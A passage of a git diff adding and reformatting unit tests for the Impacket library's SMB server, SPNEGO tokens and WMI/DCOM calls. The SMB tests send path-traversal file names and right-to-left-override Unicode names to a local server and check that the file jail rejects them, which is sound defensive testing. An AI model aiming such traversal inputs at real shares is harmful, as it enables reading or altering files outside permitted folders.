suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB1TestsNetBIOS)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB1TestsUnicode)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB002Tests)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB21Tests)) - suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMB3Tests)) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_smbserver.py b/tests/SMB_RPC/test_smbserver.py new file mode 100644 index 0000000000..92032a8e99 --- /dev/null +++ b/tests/SMB_RPC/test_smbserver.py @@ -0,0 +1,691 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Basic unit tests for the SMB Server. +# +# Author: +# Martin Gallo (@martingalloar) +# +# TODO: +# The following are all the commands implemented by SMBServer: +# [ ] TRANSCommands +# [ ] lanMan +# [ ] transactNamedPipe +# [ ] TRANS2Commands +# [ ] setPathInformation +# [ ] setFileInformation +# [ ] queryPathInformation +# [ ] queryFileInformation +# [ ] queryFsInformation +# [ ] findNext2 +# [ ] findFirst2 +# [ ] SMBCommands +# [ ] smbTransaction +# [ ] smbNTTransact +# [ ] smbTransaction2 +# [ ] smbComLockingAndX +# [ ] smbComClose +# [ ] smbComWrite +# [ ] smbComFlush +# [ ] smbComCreateDirectory +# [ ] smbComRename +# [ ] smbComDelete +# [ ] smbComDeleteDirectory +# [ ] smbComWriteAndX +# [ ] smbComRead +# [ ] smbComReadAndX +# [ ] smbQueryInformation +# [ ] smbQueryInformationDisk +# [ ] smbComEcho +# [ ] smbComTreeDisconnect +# [ ] smbComLogOffAndX +# [ ] smbComQueryInformation2 +# [ ] smbComNtCreateAndX +# [ ] smbComOpenAndX +# [ ] smbComTreeConnectAndX +# [ ] smbComSessionSetupAndX +# [ ] smbComNegotiate +# [ ] SMB2Commands +# [ ] smb2Negotiate +# [ ] smb2SessionSetup +# [ ] smb2TreeConnect +# [ ] smb2Create +# [ ] smb2Close +# [ ] smb2QueryInfo +# [ ] smb2SetInfo +# [ ] smb2Write +# [ ] smb2Read +# [ ] smb2Flush +# [ ] smb2QueryDirectory +# [ ] smb2ChangeNotify +# [ ] smb2Echo +# [ ] smb2TreeDisconnect +# [ ] smb2Logoff +# [ ] smb2Ioctl +# [ ] smb2Lock +# [ ] smb2Cancel +# +import unittest +from time import sleep +from os.path import exists, join +from os import mkdir, rmdir, remove +from multiprocessing import Process + +from six import PY2, StringIO, BytesIO, b, assertRaisesRegex, assertCountEqual + +from impacket.smb import SMB_DIALECT +from impacket.smbserver import normalize_path, isInFileJail, SimpleSMBServer +from impacket.smbconnection import SMBConnection, SessionError, compute_lmhash, compute_nthash + + +class SMBServerUnitTests(unittest.TestCase): + """Unit tests for the SMBServer + """ + + def test_normalize_path(self): + """Test file path normalization. + """ + self.assertEqual(normalize_path("filepath"), "filepath") + self.assertEqual(normalize_path("filepath\\"), "filepath") + self.assertEqual(normalize_path("filepath\\\\"), "filepath") + self.assertEqual(normalize_path("\\filepath\\"), "filepath") + self.assertEqual(normalize_path("\\\\filepath\\"), "/filepath") + self.assertEqual(normalize_path(".\\filepath"), "filepath") + self.assertEqual(normalize_path(".\\.\\filepath"), "filepath") + self.assertEqual(normalize_path("..\\.\\filepath"), "../filepath") + self.assertEqual(normalize_path("..\\filepath\\..\\..\\filepath"), "../../filepath") + self.assertEqual(normalize_path("/filepath"), "filepath") + self.assertEqual(normalize_path("//filepath"), "/filepath") + self.assertEqual(normalize_path("./filepath"), "filepath") + self.assertEqual(normalize_path("././filepath"), "filepath") + self.assertEqual(normalize_path(".././filepath"), "../filepath") + self.assertEqual(normalize_path("../filepath/../../filepath"), "../../filepath") + + self.assertEqual(normalize_path("filepath", ''), "filepath") + self.assertEqual(normalize_path("/filepath", ''), "/filepath") + self.assertEqual(normalize_path("//filepath", ''), "//filepath") + self.assertEqual(normalize_path("filepath", 'path'), "filepath") + self.assertEqual(normalize_path("/filepath", 'path'), "filepath") + self.assertEqual(normalize_path("//filepath", 'path'), "/filepath") + + def test_isInFileJail(self): + """Test validation of common prefix path. + """ + jail_path = "/tmp/jail_path" + self.assertTrue(isInFileJail(jail_path, "filename")) + self.assertTrue(isInFileJail(jail_path, "./filename")) + self.assertTrue(isInFileJail(jail_path, "../jail_path/filename")) + + self.assertFalse(isInFileJail(jail_path, "/filename")) + self.assertFalse(isInFileJail(jail_path, "/tmp/filename")) + self.assertFalse(isInFileJail(jail_path, "../filename")) + self.assertFalse(isInFileJail(jail_path, "../../filename")) + + jail_path = "" + self.assertTrue(isInFileJail(jail_path, "filename")) + self.assertTrue(isInFileJail(jail_path, "./filename")) + + self.assertFalse(isInFileJail(jail_path, "../jail_path/filename")) + self.assertFalse(isInFileJail(jail_path, "/filename")) + self.assertFalse(isInFileJail(jail_path, "/tmp/filename")) + self.assertFalse(isInFileJail(jail_path, "../filename")) + self.assertFalse(isInFileJail(jail_path, "../../filename")) + + +class SimpleSMBServerFuncTests(unittest.TestCase): + """Pseudo functional tests for the SimpleSMBServer. + + These are pseudo functional as we're using our own SMBConnection classes. For a complete functional test + we should (and can) use for example Samba's smbclient or similar. + """ + server = None + server_smb2_support = False + client_preferred_dialect = None + + address = "127.0.0.1" + port = 1445 + username = "UserName" + password = "Password" + domain = "DOMAIN" + lmhash = compute_lmhash(password) + nthash = compute_nthash(password) + + unicode_share_file = "test\u202Etest" + unicode_username = "User\u202EName" + + share_name = "share" + share_path = "jail_dir" + share_file = "jail_file" + share_new_file = "jail_new_file" + share_unjailed_file = "unjailed_file" + share_unjailed_new_file = "unjailed_new_file" + share_new_content = "some content" + + share_directory = "directory" + share_new_directory = "new_directory" + share_unjailed_directory = "unjailed_directory" + share_unjailed_new_directory = "unjailed_new_directory" + + # When listing files in a share, SMB1 response includes "." and ".." + share_list = [".", "..", share_file, share_directory, unicode_share_file] + + def setUp(self): + """Creates folders and files required for testing the list, put and get functionality. + """ + self.server_process = None + for d in [self.share_path, + self.share_unjailed_directory, + join(self.share_path, self.share_directory)]: + if not exists(d): + mkdir(d) + for f in [self.share_unjailed_file, + join(self.share_path, self.share_file), + join(self.share_path, self.unicode_share_file)]: + if not exists(f): + with open(f, "a") as fd: + fd.write(self.share_new_content) + + def tearDown(self): + """Removes folders and files used for testing. + """ + for f in [self.share_unjailed_file, + self.share_unjailed_new_file, + join(self.share_path, self.share_file), + join(self.share_path, self.unicode_share_file), + join(self.share_path, self.share_new_file)]: + if exists(f): + remove(f) + for d in [self.share_unjailed_directory, + self.share_unjailed_new_directory, + join(self.share_path, self.share_directory), + join(self.share_path, self.share_new_directory), + self.share_path]: + if exists(d): + rmdir(d) + self.stop_smbserver() + + def get_smbserver(self, add_credential=True, add_share=True): + smbserver = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port)) + if add_credential: + smbserver.addCredential(self.username, 0, self.lmhash, self.nthash) + if add_share: + smbserver.addShare(self.share_name, self.share_path) + if self.server_smb2_support is not None: + smbserver.setSMB2Support(self.server_smb2_support) + return smbserver + + def get_smbclient(self): + smbclient = SMBConnection(self.address, self.address, sess_port=int(self.port), + preferredDialect=self.client_preferred_dialect) + return smbclient + + def start_smbserver(self, server): + """Starts the SimpleSMBServer process. + """ + self.server = server + self.server_process = Process(target=server.start) + self.server_process.start() + + def stop_smbserver(self): + """Stops the SimpleSMBServer process and wait for insider threads to join. + """ + if self.server: + self.server.stop() + self.server = None + if self.server_process: + self.server_process.terminate() + sleep(0.1) + self.server_process = None + + def test_smbserver_login_valid(self): + """Test authentication using valid password and LM/NTHash. + """ + server = self.get_smbserver(add_share=False) + self.start_smbserver(server) + + # Valid password login + client = self.get_smbclient() + client.login(self.username, self.password) + client.close() + + # Valid hash login + client = self.get_smbclient() + client.login(self.username, '', lmhash=self.lmhash, nthash=self.nthash) + client.close() + + def test_smbserver_login_invalid(self): + """Test authentication using invalid password and LM/NTHash. + """ + server = self.get_smbserver(add_share=False) + self.start_smbserver(server) + + # Invalid password login + client = self.get_smbclient() + with assertRaisesRegex(self, SessionError, "STATUS_LOGON_FAILURE"): + client.login(self.username, 'SomeInvalidPassword') + client.close() + + # Invalid username login + client = self.get_smbclient() + with assertRaisesRegex(self, SessionError, "STATUS_LOGON_FAILURE"): + client.login("InvalidUser", "", lmhash=self.lmhash, nthash=self.nthash) + client.close() + + # Invalid hash login + client = self.get_smbclient() + with assertRaisesRegex(self, SessionError, "STATUS_LOGON_FAILURE"): + client.login(self.username, "", lmhash=self.nthash, nthash=self.lmhash) + client.close() + + def test_smbserver_unicode_login(self): + """Test authentication using a unicode username. + """ + server = self.get_smbserver(add_credential=False, add_share=False) + server.addCredential(self.unicode_username, 0, self.lmhash, self.nthash) + self.start_smbserver(server) + + # Valid Unicode username login + client = self.get_smbclient() + client.login(self.unicode_username, self.password) + client.close() + + def test_smbserver_list_shares(self): + """Test listing shares. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated list shares + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.listShares() + + # Check authenticated list shares + client.login(self.username, self.password) + shares = client.listShares() + shares_names = [share['shi1_netname'][:-1] for share in shares] + assertCountEqual(self, [self.share_name.upper(), "IPC$"], shares_names) + + client.close() + + def test_smbserver_connect_disconnect_tree(self): + """Test connecting/disconnecting to a share tree. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated connect tree + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.connectTree(self.share_name) + + # Check authenticated list shares + client.login(self.username, self.password) + tree_id = client.connectTree(self.share_name) + + # Check disconnect tree + client.disconnectTree(tree_id) + + # Check unexistent share + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_NOT_FOUND"): + client.connectTree("unexistent") + + client.close() + + @unittest.skipIf(PY2, "Unicode filename expected failing in Python 2.x") + def test_smbserver_list_path(self): + """Test listing files in a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated list path + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.listPath(self.share_name, "/") + + # Check authenticated list path + client.login(self.username, self.password) + + files = client.listPath(self.share_name, self.share_file) + assertCountEqual(self, [f.get_longname() for f in files], + [self.share_file]) + files = client.listPath(self.share_name, self.share_directory) + assertCountEqual(self, [f.get_longname() for f in files], + [self.share_directory]) + files = client.listPath(self.share_name, self.unicode_share_file) + assertCountEqual(self, [f.get_longname() for f in files], + [self.unicode_share_file]) + + # Check list with pattern of files + files = client.listPath(self.share_name, "*") + assertCountEqual(self, [f.get_longname() for f in files], self.share_list) + + # Check path traversal in list as in #1066 + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.listPath(self.share_name, join("..", self.share_unjailed_file)) + + # Check unexistent file + with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"): + client.listPath(self.share_name, "unexistent") + + client.close() + + def test_smbserver_put(self): + """Test writing files to a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated put + local_file = StringIO(self.share_new_content) + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.putFile(self.share_name, self.share_new_file, local_file.read) + self.assertFalse(exists(join(self.share_path, self.share_new_file))) + + # Check authenticated put + local_file = StringIO(self.share_new_content) + client.login(self.username, self.password) + client.putFile(self.share_name, self.share_new_file, local_file.read) + self.assertTrue(exists(join(self.share_path, self.share_new_file))) + with open(join(self.share_path, self.share_new_file), "r") as fd: + self.assertEqual(fd.read(), self.share_new_content) + + # Check path traversal in put as in #1066 + local_file = StringIO(self.share_new_content) + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.putFile(self.share_name, join("..", self.share_unjailed_new_file), local_file.read) + self.assertFalse(exists(self.share_unjailed_new_file)) + + client.close() + + def test_smbserver_get_file(self): + """Test reading files from a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated get + local_file = BytesIO() + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.getFile(self.share_name, self.share_file, local_file.write) + + # Check authenticated get + local_file = BytesIO() + client.login(self.username, self.password) + client.getFile(self.share_name, self.share_file, local_file.write) + local_file.seek(0) + self.assertEqual(local_file.read(), b(self.share_new_content)) + + # Check path traversal in get as in #1066 + local_file = BytesIO() + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.getFile(self.share_name, join("..", self.share_unjailed_file), local_file.write) + local_file.seek(0) + self.assertEqual(local_file.read(), b("")) + + # Check unexistent get file + with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"): + client.getFile(self.share_name, "unexistent", local_file.write) + + client.close() + + @unittest.skipIf(PY2, "Unicode filename expected failing in Python 2.x") + def test_smbserver_get_unicode_file(self): + """Test reading unicode files from a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + local_file = BytesIO() + client.login(self.username, self.password) + client.getFile(self.share_name, self.unicode_share_file, local_file.write) + local_file.seek(0) + self.assertEqual(local_file.read(), b(self.share_new_content)) + + client.close() + + def test_smbserver_delete_file(self): + """Test deleting files from a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated delete + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.deleteFile(self.share_name, self.share_file) + self.assertTrue(exists(join(self.share_path, self.share_file))) + + # Check path traversal in delete as in #1066 + client.login(self.username, self.password) + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.deleteFile(self.share_name, join("..", self.share_unjailed_file)) + self.assertTrue(exists(self.share_unjailed_file)) + + # Check authenticated delete + client.deleteFile(self.share_name, self.share_file) + self.assertFalse(exists(join(self.share_path, self.share_file))) + + # Check unexistent file + with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"): + client.deleteFile(self.share_name, "unexistent") + + client.close() + + def test_smbserver_create_directory(self): + """Test creating a directory on a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated create directory + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.createDirectory(self.share_name, self.share_new_directory) + self.assertFalse(exists(join(self.share_path, self.share_new_directory))) + + # Check authenticated create directory + client.login(self.username, self.password) + client.createDirectory(self.share_name, self.share_new_directory) + self.assertTrue(exists(join(self.share_path, self.share_new_directory))) + + # Check path traversal in create directory as in #1066 + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.createDirectory(self.share_name, join("..", self.share_unjailed_new_directory)) + self.assertFalse(exists(self.share_unjailed_new_directory)) + + client.close() + + def test_smbserver_rename_file(self): + """Test renaming files in a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated rename file + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.rename(self.share_name, self.share_file, self.share_new_file) + self.assertTrue(exists(join(self.share_path, self.share_file))) + self.assertFalse(exists(join(self.share_path, self.share_new_file))) + + # Check path traversal in rename file as in #1066 + client.login(self.username, self.password) + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.rename(self.share_name, self.share_file, join("..", self.share_unjailed_new_file)) + self.assertTrue(exists(join(self.share_path, self.share_file))) + self.assertFalse(exists(self.share_unjailed_new_file)) + + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.rename(self.share_name, join("..", self.share_unjailed_file), self.share_new_file) + self.assertTrue(exists(self.share_unjailed_file)) + self.assertFalse(exists(self.share_new_file)) + + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.rename(self.share_name, join("..", self.share_unjailed_file), join("..", self.share_unjailed_new_file)) + self.assertTrue(exists(self.share_unjailed_file)) + self.assertFalse(exists(self.share_unjailed_new_file)) + + # Check authenticated rename file + client.rename(self.share_name, self.share_file, self.share_new_file) + self.assertFalse(exists(join(self.share_path, self.share_file))) + self.assertTrue(exists(join(self.share_path, self.share_new_file))) + with open(join(self.share_path, self.share_new_file), "r") as fd: + self.assertEqual(fd.read(), self.share_new_content) + + # Check unexistent rename file + with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"): + client.rename(self.share_name, "unexistent", self.share_new_file) + + client.close() + + def test_smbserver_open_close_file(self): + """Test opening and closing files in a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check authenticated open file + client.login(self.username, self.password) + tree_id = client.connectTree(self.share_name) + file_id = client.openFile(tree_id, self.share_file) + + # Check path traversal in open file as in #1066 + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.openFile(tree_id, join("..", self.share_unjailed_file)) + + # Check authenticated open unexistent file + with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"): + client.openFile(tree_id, "unexistent") + + # Check close invalid tree or file ids + with self.assertRaises(SessionError): + client.closeFile(tree_id, 123) + with self.assertRaises(SessionError): + client.closeFile(123, file_id) + with self.assertRaises(SessionError): + client.closeFile("123", file_id) + + # Check close valid file + client.closeFile(tree_id, file_id) + + # Now close the tree and client + client.disconnectTree(tree_id) + client.close() + + def test_smbserver_query_info_file(self): + """Test query info on a file in a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + client.login(self.username, self.password) + + # Check query info on file + tree_id = client.connectTree(self.share_name) + file_id = client.openFile(tree_id, self.share_file) + file_info = client.queryInfo(tree_id, file_id) + self.assertEqual(file_info["AllocationSize"], len(self.share_new_content)) + self.assertEqual(file_info["EndOfFile"], len(self.share_new_content)) + self.assertEqual(file_info["Directory"], 0) + + # Now close everything + client.closeFile(tree_id, file_id) + client.disconnectTree(tree_id) + client.close() + + @unittest.skip("Query directory not implemented on client") + def test_smbserver_query_info_directory(self): + """Test query info on a directory in a shared folder. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + client.login(self.username, self.password) + + # Check query info on directory + tree_id = client.connectTree(self.share_name) + directory_id = client.openFile(tree_id, self.share_directory) + directory_info = client.queryInfo(tree_id, directory_id) + self.assertEqual(directory_info["AllocationSize"], len(self.share_new_content)) + self.assertEqual(directory_info["EndOfFile"], len(self.share_new_content)) + self.assertEqual(directory_info["Directory"], 1) + + # Now close everything + client.closeFile(tree_id, directory_id) + client.disconnectTree(tree_id) + client.close() + + +class SimpleSMBServer2FuncTestsClientFallBack(SimpleSMBServerFuncTests): + + server_smb2_support = True + client_preferred_dialect = SMB_DIALECT + + +class SimpleSMBServer2FuncTests(SimpleSMBServerFuncTests): + + server_smb2_support = True + + # When listing files in a share, SMB2 response doesn't include "." and ".." + share_list = [SimpleSMBServerFuncTests.share_file, + SimpleSMBServerFuncTests.share_directory, + SimpleSMBServerFuncTests.unicode_share_file] + + def test_smbserver_delete_directory(self): + """Test deleting directories from a shared folder. + + This is only tested in SMB2 as SMB_COM_CHECK_DIRECTORY is not + implemented yet in SMB, the SMB2 client uses a query info instead. + """ + server = self.get_smbserver() + self.start_smbserver(server) + + client = self.get_smbclient() + + # Check unauthenticated delete directory + with assertRaisesRegex(self, SessionError, "STATUS_ACCESS_DENIED"): + client.deleteDirectory(self.share_name, self.share_directory) + self.assertTrue(exists(join(self.share_path, self.share_directory))) + + # Check path traversal in delete directory as in #1066 + client.login(self.username, self.password) + with assertRaisesRegex(self, SessionError, "STATUS_OBJECT_PATH_SYNTAX_BAD"): + client.deleteDirectory(self.share_name, join("..", self.share_unjailed_directory)) + + # Check authenticated delete directory + client.deleteDirectory(self.share_name, self.share_directory) + self.assertFalse(exists(join(self.share_path, self.share_directory))) + + # Check unexistent directory directory + with assertRaisesRegex(self, SessionError, "STATUS_NO_SUCH_FILE"): + client.deleteDirectory(self.share_name, "unexistent") + + client.close() + + +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_spnego.py b/tests/SMB_RPC/test_spnego.py index 7da4aeb7aa..8ca63736d6 100644 --- a/tests/SMB_RPC/test_spnego.py +++ b/tests/SMB_RPC/test_spnego.py @@ -1,8 +1,17 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import unittest - from impacket import smb + class Test(unittest.TestCase): + def setUp(self): self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' @@ -19,33 +28,34 @@ def setUp(self): def test_negTokenInit(self): token = smb.SPNEGO_NegTokenInit() token.fromString(self.negTokenInit) - self.assertTrue(self.negTokenInit, token.getData()) + self.assertEqual(self.negTokenInit, token.getData()) def test_negTokenInit2(self): token = smb.SPNEGO_NegTokenInit() token.fromString(self.negTokenInit2) - self.assertTrue(self.negTokenInit2, token.getData()) + self.assertEqual(self.negTokenInit2, token.getData()) def test_negTokenResp1(self): token = smb.SPNEGO_NegTokenResp() token.fromString(self.negTokenResp1) - self.assertTrue(self.negTokenResp1, token.getData()) + self.assertEqual(self.negTokenResp1, token.getData()) def test_negTokenResp2(self): token = smb.SPNEGO_NegTokenResp() token.fromString(self.negTokenResp2) - self.assertTrue(self.negTokenResp2, token.getData()) + self.assertEqual(self.negTokenResp2, token.getData()) def test_negTokenResp3(self): token = smb.SPNEGO_NegTokenResp() token.fromString(self.negTokenResp3) - self.assertTrue(self.negTokenResp3, token.getData()) + self.assertEqual(self.negTokenResp3, token.getData()) def test_negTokenResp4(self): token = smb.SPNEGO_NegTokenResp() token['NegState'] = b'\x03' # request-mic token['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] - self.assertTrue(self.negTokenResp4, token.getData()) + self.assertEqual(self.negTokenResp4, token.getData()) + if __name__ == "__main__": - unittest.main() + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_wmi.py b/tests/SMB_RPC/test_wmi.py index d54ca0b5b3..210fed16f7 100644 --- a/tests/SMB_RPC/test_wmi.py +++ b/tests/SMB_RPC/test_wmi.py @@ -1,66 +1,76 @@ -############################################################################### -# Tested so far: -# IWbemLevel1Login::EstablishPosition -# IWbemLevel1Login::RequestChallenge -# IWbemLevel1Login::WBEMLogin -# IWbemLevel1Login::NTLMLogin -# IWbemServices::OpenNamespace -# IWbemServices::ExecQuery -# IWbemServices::GetObject +# Impacket - Collection of Python classes for working with network protocols. # -# Since DCOM is more high level, I'll always use the helper classes +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # -# Not yet: +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. # -# IWbemServices::CancelAsyncCall -# IWbemServices::QueryObjectSink -# IWbemServices::GetObjectAsync -# IWbemServices::PutClass -# IWbemServices::PutClassAsync -# IWbemServices::DeleteClass -# IWbemServices::DeleteClassAsync -# IWbemServices::CreateClassEnum -# IWbemServices::CreateClassEnumAsync -# IWbemServices::PutInstance -# IWbemServices::PutInstanceAsync -# IWbemServices::DeleteInstance -# IWbemServices::DeleteInstanceAsync -# IWbemServices::CreateInstanceEnum -# IWbemServices::CreateInstanceEnumAsync -# IWbemServices::ExecQueryAsync -# IWbemServices::ExecNotificationQuery -# IWbemServices::ExecNotificationQueryAsync -# IWbemServices::ExecMethod -# IWbemServices::ExecMethodAsync +# Tested so far: +# IWbemLevel1Login::EstablishPosition +# IWbemLevel1Login::RequestChallenge +# IWbemLevel1Login::WBEMLogin +# IWbemLevel1Login::NTLMLogin +# IWbemServices::OpenNamespace +# IWbemServices::ExecQuery +# IWbemServices::GetObject +# +# Since DCOM is more high level, I'll always use the helper classes +# +# Not yet: +# IWbemServices::CancelAsyncCall +# IWbemServices::QueryObjectSink +# IWbemServices::GetObjectAsync +# IWbemServices::PutClass +# IWbemServices::PutClassAsync +# IWbemServices::DeleteClass +# IWbemServices::DeleteClassAsync +# IWbemServices::CreateClassEnum +# IWbemServices::CreateClassEnumAsync +# IWbemServices::PutInstance +# IWbemServices::PutInstanceAsync +# IWbemServices::DeleteInstance +# IWbemServices::DeleteInstanceAsync +# IWbemServices::CreateInstanceEnum +# IWbemServices::CreateInstanceEnumAsync +# IWbemServices::ExecQueryAsync +# IWbemServices::ExecNotificationQuery +# IWbemServices::ExecNotificationQueryAsync +# IWbemServices::ExecMethod +# IWbemServices::ExecMethodAsync # # Shouldn't dump errors against a win7 # -################################################################################ - from __future__ import division from __future__ import print_function +import zlib +import base64 +import pytest import unittest - -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests import RemoteTestCase from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection -class WMITests(unittest.TestCase): - def tes_activation(self): +@pytest.mark.remote +class WMITests(RemoteTestCase, unittest.TestCase): + + def setUp(self): + super(WMITests, self).setUp() + self.set_transport_config() + + @pytest.mark.xfail + def test_activation(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLoginClientID) + dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLoginClientID) dcom.disconnect() def test_IWbemLevel1Login_EstablishPosition(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.EstablishPosition() print(resp) @@ -68,7 +78,7 @@ def test_IWbemLevel1Login_EstablishPosition(self): def test_IWbemLevel1Login_RequestChallenge(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.RequestChallenge() @@ -81,7 +91,7 @@ def test_IWbemLevel1Login_RequestChallenge(self): def test_IWbemLevel1Login_WBEMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: resp = iWbemLevel1Login.WBEMLogin() @@ -94,44 +104,44 @@ def test_IWbemLevel1Login_WBEMLogin(self): def test_IWbemLevel1Login_NTLMLogin(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) resp = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) print(resp) dcom.disconnect() - def tes_IWbemServices_OpenNamespace(self): - # Not working + @pytest.mark.xfail + def test_IWbemServices_OpenNamespace(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL) try: resp = iWbemServices.OpenNamespace('__Namespace') print(resp) - except Exception as e: + except Exception: dcom.disconnect() raise dcom.disconnect() def test_IWbemServices_GetObject(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= 